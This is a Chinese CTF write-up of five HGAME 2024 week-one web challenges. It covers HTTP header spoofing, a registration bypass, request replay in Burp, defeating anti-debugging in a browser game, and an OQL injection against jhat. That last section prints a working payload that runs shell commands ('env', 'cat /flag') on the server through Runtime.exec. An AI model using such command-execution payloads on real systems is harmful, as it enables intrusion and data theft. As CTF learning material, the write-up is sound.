HGAME week1-web wp

第一周算是入门难度,还是很简单的,直接上哥们的wp:

ezHTTP

入门级别的几个http点,注意一下后面用X-Real-IP就行。

Bypass it

注册是post发包,说是不让你注册,查看源码看到个register.php,直接对这个发包,注册成功然后登录就出了。

Select Courses

一开始以为是原型链污染,但是没啥反应??

我开始都以为有其他的点,随便点点发现full置零了,也就是抢课成功了,所以就直接bp无限发包(还真有点抢课的感觉呃呃):

id1-5都这样发个包,然后去页面点确认就出了。

2048*16

刚开始做的时候有点卡,因为加载网页不让你用f12,如果手动开了就会触发它设置的debug:

也就是让你一直加载卡爆你的浏览器。

首先进去后在console输入这俩命令:

(function(){}).constructor === Function
Function.prototype.constructor = function(){}

就能消掉debug:

然后直接打断点,找这个混淆代码中的判赢逻辑:

打上了记得刷新一下,断点依然在,不然一直显示全局变量就改不了作用域(我也不知道为啥呃呃),当然那俩仍然重新在console输一遍。

记得先点一下这个恢复脚本执行(不同浏览器不一样,我用的edge,但是按键应该都有,具体看看就行),当作用域出的时this:v就对了:

然后就直接改:

然后再点一下恢复脚本运行,就出了:

当然这道题还有个方法,就是直接找到flag加密算法部分:

改这里的三元表达式然后调一下再运行就出了。

jhat

oql注入,直接function带出数据

java.lang.Runtime.getRuntime().exec(“env”).getInputStream();

   select map(heap.objects('java.lang.ClassLoader'),
      function (it) {
         var res = '';
         var ex = java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream();
         var isr = new java.io.InputStreamReader(ex);
         var br = new java.io.BufferedReader(isr);
         while (it != null) {
            res += toHtml(it) + "->";
            it = it.parent;
         }
         res += br.readLine();
         return res + "<br>";
      })

 

posted @ 2024-02-04 23:00  Eddie_Murphy  阅读(28)  评论(0编辑  收藏  举报